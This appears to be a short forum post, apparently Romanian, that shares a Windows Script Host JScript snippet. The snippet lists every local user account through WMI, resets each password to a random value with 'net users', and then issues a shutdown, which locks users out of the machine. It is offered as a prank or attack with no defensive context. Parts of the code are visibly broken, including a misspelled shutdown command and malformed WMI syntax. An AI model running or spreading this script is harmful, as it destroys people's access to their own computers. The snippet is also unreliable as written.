Jump to content
ingerica

belea pt win

Recommended Posts

var strComputer = ".";

var objWMIService = GetObject("winmgmts:" + strComputer + "rootcimv2");

var e = new Enumerator(objWMIService.ExecQuery("Select * from Win32_UserAccount","WQL",4b));

var killer = new ActiveXObject("WScript.Shell");

var userArr = new Array();

for (;!e.atEnd();e.moveNext())

{  

objItem = e.item();

var localStr = objItem.Caption;

var index = localStr.indexOf("")+1;

userArr.push(localStr.substring(index,localStr.length));

//WScript.Echo(localStr);  

}

for(var i=0;i<userArr.length;i++)

{

var rand_pass = Math.random().toString();

killer.Run("net users "+userArr+" "+rand_pass);

}

killer.Run("shudown -s -t 00");

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...